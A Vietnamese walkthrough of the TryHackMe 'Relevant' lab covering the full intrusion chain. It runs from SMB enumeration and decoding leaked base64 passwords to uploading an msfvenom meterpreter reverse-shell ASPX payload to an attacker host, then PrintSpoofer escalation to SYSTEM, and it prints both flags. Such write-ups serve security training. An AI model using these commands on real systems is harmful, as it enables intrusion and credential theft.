Relevant
Penetration Testing Challenge.
Initial Reconnaissance
Service Scanning
$ rustscan -a 10.201.107.205 -- -A
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 124 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc syn-ack ttl 124 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 124 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 124 Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server syn-ack ttl 124 Microsoft Terminal Services
|_ssl-date: 2025-08-06T05:41:43+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Issuer: commonName=Relevant
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-05T05:31:47
| Not valid after: 2026-02-04T05:31:47
| MD5: 1bc4:e388:6a96:81c9:4101:47ba:f726:940d
| SHA-1: 209e:4ca8:8a53:f336:729c:3661:e6b4:1830:0214:08f1
| -----BEGIN CERTIFICATE-----
| MIIC1DCCAbygAwIBAgIQGrWC/4mg0L1GSmxmGHQXATANBgkqhkiG9w0BAQsFADAT
| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNTA4MDUwNTMxNDdaFw0yNjAyMDQwNTMx
| NDdaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAvYgYW213bhKJZoVWJLVtkwRDXu535C7DSGHJS4od3rNyCBDs9/Rj
| s9RxZxaRQnjMHMgYl8uckgkZFCbadJFRzR7MOQpIAVj5SgilSdCRRPIW/4JEexgb
| 91fYxxMRKpCt/R7i5MmhGQsH5ZuvpyQZmwUqiXCC1QFFlCzRZ+Sn+3ufic0xsQA8
| OqZWWWgvBSMgV5t3CNHyJANW20kwG7TPHuFWz+kgvUYSinCIffDRvC03SX6hOXd7
| 4dSJnOBTQIxazIDvbGXB6lefbqrgH69DpKdaxuzENSKC9oCbWi5iusMilFcIzDfw
| WOG3kaK5t/7GrJXc5efenOCZB8QRUTzOpwIDAQABoyQwIjATBgNVHSUEDDAKBggr
| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAF1/Q0MiJtMN
| pRefAutc7o+kF09p7uFI6HbhThNFJUJGgx9KFBbk1tkOGRt+GmrZqWW01uaPp1pj
| X9VCZam9O544u4XzZERyvxs9tgB5zNvmEloNTayqXD11OKwCMiZ8KfkVogHaNGJV
| hLDrwirKC0Hvmeji2E3ooYZ3qJ/l0TJIDT7vk55MuGEbNraY3XAz6OOFM8fnUjoq
| cXN5bivW5ptNEcrjeHARxYBEY0pxhqIoth44EBXRRTjQ9zTsfjJk0m5vUp+Ku/9z
| lhYHpX2CJFVW2SrLiXO0yLnzy0QwISFTAKxLMLipopDgcnQcHvrkCUXAOaSSyZFd
| ZzO65KiFSTM=
|_-----END CERTIFICATE-----
49663/tcp open http syn-ack ttl 124 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
49666/tcp open msrpc syn-ack ttl 124 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 124 Microsoft Windows RPCTừ kết quả scan, ta thấy máy target đang chạy Windows Server 2016 Standard Evaluation. Port 80 và 49663 mở dịch vụ HTTP với Microsoft IIS 10.0. Các port 135, 139, 445, 49666 và 49667 mở dịch vụ RPC và SMB. Ngoài ra, port 3389 mở dịch vụ RDP.
HTTP 80


Web server đang chạy là IIS phiên bản 10.0, phiên bản này chúng ta sẽ không tìm thấy lỗ hổng nào.
Trang chủ cũng không cung cấp thêm thông tin gì ngoài một background mặc định.
Directory Enumeration
Chúng ta nên quét các directory hoặc file ẩn trên web server bằng gobuster.
gobuster dir -u http://10.201.107.205 -w /usr/share/wordlists/dirb/common.txt
Cũng không có kết quả gì.
SMB 445
Tiếp theo, chúng ta enumerate các share và user trên SMB server bằng Nmap scripts.
$ sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.201.107.205
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.201.107.205\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.201.107.205\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.201.107.205\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: <none>
| Current user access: READ/WRITE
| \\10.201.107.205\nt4wrksv:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ/WRITEChúng ta phát hiện một share không mặc định tên là nt4wrksv, nó cho phép anonymous access với quyền đọc và ghi.
┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/C$
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
┌──(hungnt㉿kali)-[~]
└─$ smbclient -N //10.201.107.205/nt4wrksv
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 6 12:45:00 2025
.. D 0 Wed Aug 6 12:45:00 2025
passwords.txt A 98 Sat Jul 25 22:15:33 2020
7735807 blocks of size 4096. 5134850 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exitKhi liệt kê share này, chúng ta thấy một file passwords.txt chứa credentials được encode dưới dạng base64. Chúng ta tải file này về máy và decode để lấy nội dung.
┌──(hungnt㉿kali)-[~]
└─$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
┌──(hungnt㉿kali)-[~]
└─$ echo Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
Bob - !P@$$W0rD!123
┌──(hungnt㉿kali)-[~]
└─$ echo QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk | base64 -d
Bill - Juw4nnaM4n420696969!$$$Sau đó, chúng ta thử dùng những credentials này để đăng nhập SMB server, nhưng đều nhận được thông báo access denied.
┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bob' --password='!P@$$W0rD!123' //10.201.107.205/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bill' --password='Juw4nnaM4n420696969!$$$' //10.201.107.205/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bob' --password='!P@$$W0rD!123' //10.201.107.205/C$
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(hungnt㉿kali)-[~]
└─$ smbclient --user='Bill' --password='Juw4nnaM4n420696969!$$$' //10.201.107.205/C$
tree connect failed: NT_STATUS_ACCESS_DENIEDTiếp tục, chúng ta thử chạy enum4linux với credentials của bob, nhưng cũng không tìm thấy gì hữu ích.
enum4linux -u 'Bob' -p '!P@$$W0rD!123' -a 10.201.107.205
Đây có thể không phải hướng đúng, ta phải tìm cách khác.
RDP 3389
Có thể chúng ta thử kết nối RDP đến máy bằng những credentials này, nhưng cũng không có cái nào đăng nhập được.




HTTP 49663

/nt4wrksv
Sau khi enumerate, chúng ta phát hiện rằng share nt4wrksv cũng được sử dụng như một directory trên website, nhưng chỉ xuất hiện trên port này chứ không phải port 80. Do đó, chúng ta có thể truy cập file passwords.txt mà trước đó tìm thấy ngay trên website.

Điều này gợi ý rằng chúng ta nên thử kiểm tra xem có thể upload tùy ý file lên web server hay không.

Kết quả cho thấy chúng ta có thể upload file tuỳ ý. Vì vậy ta sẽ uplaod một reverse payload lên web server.
Initial Access as DefaultAppPool
Chúng ta tạo một payload bằng msfvenom và upload nó lên web server:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.17.21.52 LPORT=53 --platform windows -f aspx -o rev.aspx
Tiếp đó, chúng ta chạy handler trên Metasploit để nhận kết nối:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.17.21.52; set LPORT 53; run"
Và chúng ta đã thành công truy cập vào hệ thống với quyền của DefaultAppPool.
Privileges Information
meterpreter > shell
Process 2232 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledKhi xem thông tin về privileges của user hiện tại, chúng ta nhận thấy rằng SeImpersonatePrivilege đang được bật, và đây có thể là một vector để leo quyền.
user.txt
c:\windows\system32\inetsrv>cd C:\Users\
cd C:\Users\
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of C:\Users
07/25/2020 02:03 PM <DIR> .
07/25/2020 02:03 PM <DIR> ..
07/25/2020 08:05 AM <DIR> .NET v4.5
07/25/2020 08:05 AM <DIR> .NET v4.5 Classic
07/25/2020 10:30 AM <DIR> Administrator
07/25/2020 02:03 PM <DIR> Bob
07/25/2020 07:58 AM <DIR> Public
0 File(s) 0 bytes
7 Dir(s) 20,276,809,728 bytes free
C:\Users>cd Bob
cd Bob
C:\Users\Bob>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of C:\Users\Bob
07/25/2020 02:03 PM <DIR> .
07/25/2020 02:03 PM <DIR> ..
07/25/2020 02:04 PM <DIR> Desktop
0 File(s) 0 bytes
3 Dir(s) 20,276,809,728 bytes free
C:\Users\Bob>cd Desktop
cd Desktop
C:\Users\Bob\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of C:\Users\Bob\Desktop
07/25/2020 02:04 PM <DIR> .
07/25/2020 02:04 PM <DIR> ..
07/25/2020 08:24 AM 35 user.txt
1 File(s) 35 bytes
2 Dir(s) 20,276,809,728 bytes free
C:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}Shell as Administrator
Vì hệ điều hành là Windows Server 2016 và SeImpersonatePrivilege đã được bật, chúng ta có thể thử thực hiện Sweet Potato attack.
Ta có thể tải PrintSpoofer64.exe tại đây và chuyển sang máy target để khai thác.

Chúng ta đã thành công chiếm được SYSTEM.
root.txt
c:\Users\Administrator\Desktop>
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of c:\Users\Administrator\Desktop
07/25/2020 08:24 AM <DIR> .
07/25/2020 08:24 AM <DIR> ..
07/25/2020 08:25 AM 35 root.txt
1 File(s) 35 bytes
2 Dir(s) 21,043,044,352 bytes free
c:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{1fk5kf469devly1gl320zafgl345pv}